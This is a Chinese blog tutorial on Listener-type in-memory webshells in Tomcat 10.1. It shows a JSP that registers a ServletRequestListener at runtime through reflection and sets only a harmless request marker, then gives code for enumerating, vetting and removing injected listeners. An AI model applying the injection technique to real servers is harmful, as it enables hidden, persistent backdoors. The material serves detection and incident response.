thumbnail
Java 内存马(五):Listener 内存马

Servlet 通过 URL 触发,Filter 通过请求链触发,Listener 则等待事件发生。请求刚创建、Session 刚建立、应用刚启动,甚至某个属性被修改,都可能触发不同 Listener。

它没有统一的“后门路径”,也不一定出现在 Servlet 和 Filter 注册表中。判断 Listener 是否能接触请求,关键不是类名,而是它实现了哪个监听接口,以及该接口会收到什么事件对象。

本文以 Tomcat 10.1 和 jakarta.servlet.* 为实验基线。示例只在 Request 中写入固定标记,不执行系统命令。

仅在本地或授权靶场验证。Tomcat 内部 Listener 数组不属于稳定的 Servlet API。

一、Listener 到底监听什么

Listener 可以理解为容器中的“事件订阅者”:它不负责匹配 URL,只在订阅的事件发生时由 Tomcat 主动回调。

接口 触发时机 回调中可获得的主要对象
ServletContextListener Web 应用启动、销毁 ServletContext
ServletRequestListener 请求初始化、销毁 ServletRequest、ServletContext
HttpSessionListener Session 创建、销毁 HttpSession
ServletRequestAttributeListener Request 属性增删改 属性名、值和 Request
HttpSessionAttributeListener Session 属性增删改 属性名、值和 Session
ServletContextAttributeListener Context 属性增删改 属性名、值和 Context

ServletRequestListener 生命周期

以 ServletRequestListener 为例,请求处理顺序可以简化为:

1
2
3
4
5
6
Tomcat 创建 Request
→ requestInitialized()
→ FilterChain
→ Servlet / Controller
→ requestDestroyed()
→ 请求结束

这意味着它比 Filter 更早接触请求,但事件参数中只有 ServletRequest,没有 HttpServletResponse。原生 Listener 不能凭空调用 getResponse();若要影响响应,必须借助请求属性、包装对象、线程上下文或其他容器内部关系。分析代码时,遇到不存在的 API 应先判断示例是否真实可运行。

Tomcat 内部又将 Listener 分成两组:

1
2
applicationLifecycleListeners  应用和 Session 生命周期相关
applicationEventListeners Request、属性等事件相关

实现接口决定实例进入哪一组。只枚举其中一个数组,会直接漏掉另一类 Listener。

二、受控靶场完成运行时注册

下面的 JSP 注册一个 ServletRequestListener。当请求携带 X-Listener-Lab: trace 时,Listener 在 requestInitialized() 中写入 Request Attribute;随后 JSP 读取该值,从而证明回调发生在页面执行之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="jakarta.servlet.ServletContext" %>
<%@ page import="jakarta.servlet.ServletRequestEvent" %>
<%@ page import="jakarta.servlet.ServletRequestListener" %>
<%@ page import="jakarta.servlet.http.HttpServletRequest" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/plain;charset=UTF-8" %>

<%!
private static final String MARKER_KEY = "listener.lab.marker";

public static final class LabRequestListener
implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent event) {
HttpServletRequest request =
(HttpServletRequest) event.getServletRequest();

if ("trace".equals(request.getHeader("X-Listener-Lab"))) {
request.setAttribute(MARKER_KEY, "REQUEST_INITIALIZED");
}
}

@Override
public void requestDestroyed(ServletRequestEvent event) {
// 受控实验不执行额外操作
}
}

private Object readField(Object target, String name) throws Exception {
Class<?> type = target.getClass();
while (type != null) {
try {
Field field = type.getDeclaredField(name);
field.setAccessible(true);
return field.get(target);
} catch (NoSuchFieldException ignored) {
type = type.getSuperclass();
}
}
throw new NoSuchFieldException(name);
}
%>

<%
ServletContext facade = request.getServletContext();
ApplicationContext applicationContext =
(ApplicationContext) readField(facade, "context");
StandardContext standardContext =
(StandardContext) readField(applicationContext, "context");

boolean exists = false;
for (Object listener : standardContext.getApplicationEventListeners()) {
if (listener instanceof LabRequestListener) {
exists = true;
break;
}
}

if (!exists) {
standardContext.addApplicationEventListener(
new LabRequestListener());
response.getWriter().println("REGISTERED");
} else {
response.getWriter().println("ALREADY_EXISTS");
}

response.getWriter().println(
"marker=" + request.getAttribute(MARKER_KEY));
%>

第一次访问只完成注册,此次请求创建时 Listener 还不存在:

1
curl -i http://127.0.0.1:8080/app/listener-lab.jsp

预期输出:

1
2
REGISTERED
marker=null

第二次携带触发请求头:

1
2
curl -i -H "X-Listener-Lab: trace" \
http://127.0.0.1:8080/app/listener-lab.jsp

预期输出:

1
2
ALREADY_EXISTS
marker=REQUEST_INITIALIZED

第二次请求进入 JSP 之前,Listener 已经设置好属性。这里没有新增 URL 映射,也没有加入 FilterChain,触发点完全来自 Tomcat 的请求事件分发。

三、枚举时必须识别接口和来源

Listener 没有 FilterMap,排查时应直接查看两组实例,并输出它们实现的全部监听接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static void printListener(String group, Object listener) {
Class<?> type = listener.getClass();

System.out.println("group=" + group);
System.out.println(" class=" + type.getName());
System.out.println(" loader=" + type.getClassLoader());

for (Class<?> iface : type.getInterfaces()) {
System.out.println(" interface=" + iface.getName());
}

ProtectionDomain domain = type.getProtectionDomain();
System.out.println(" source="
+ (domain == null ? null : domain.getCodeSource()));
}

for (Object listener : standardContext.getApplicationEventListeners()) {
printListener("event", listener);
}

for (Object listener : standardContext.getApplicationLifecycleListeners()) {
printListener("lifecycle", listener);
}

排查顺序可以固定为四步:

1
2
3
4
实例属于哪一组
→ 实现了哪些 Listener 接口
→ 什么事件会触发它
→ 类、ClassLoader 和 CodeSource 能否由发布制品解释

还要与以下正常来源比较:

  • web.xml 中的 <listener>;
  • @WebListener 注解扫描结果;
  • ServletContainerInitializer 和框架启动代码;
  • Tomcat 或应用服务器自身装配的监听器;
  • 同版本、同制品的可信节点运行时清单。

类名中包含 Listener 没有判断价值。真正重要的是实例是否未经授权进入数组、它订阅的事件是否与业务相符,以及实际加载的字节码是否可信。

四、精确移除与事件验证

Tomcat 没有为动态事件 Listener 提供通用的单实例删除接口。受控环境中可以读取当前数组,按对象身份筛除目标,再整体写回:

1
2
3
4
5
6
7
8
9
10
11
Object[] current = standardContext.getApplicationEventListeners();
List<Object> retained = new ArrayList<>();

for (Object listener : current) {
if (!(listener instanceof LabRequestListener)) {
retained.add(listener);
}
}

standardContext.setApplicationEventListeners(
retained.toArray(new Object[0]));

代码需要导入 java.util.ArrayList 和 java.util.List。若目标位于生命周期组,则应核对当前 Tomcat 版本对应的生命周期 Listener 维护方式,不能误改事件组。

卸载后再次发送带 X-Listener-Lab: trace 的请求,marker 应恢复为 null;重新枚举时目标实例也应消失。验证不能只访问普通页面,还要按其实现接口触发对应事件,例如创建 Session、修改属性或执行异步请求。

直接替换数组存在并发边界:正在分发的请求可能已经取得旧 Listener 引用,requestInitialized() 与 requestDestroyed() 也可能跨越修改时点。生产环境应先摘除节点、保存两组 Listener 清单和堆证据,再修复植入入口并从可信制品重建,而不是在流量中直接改写数组。

上一篇
下一篇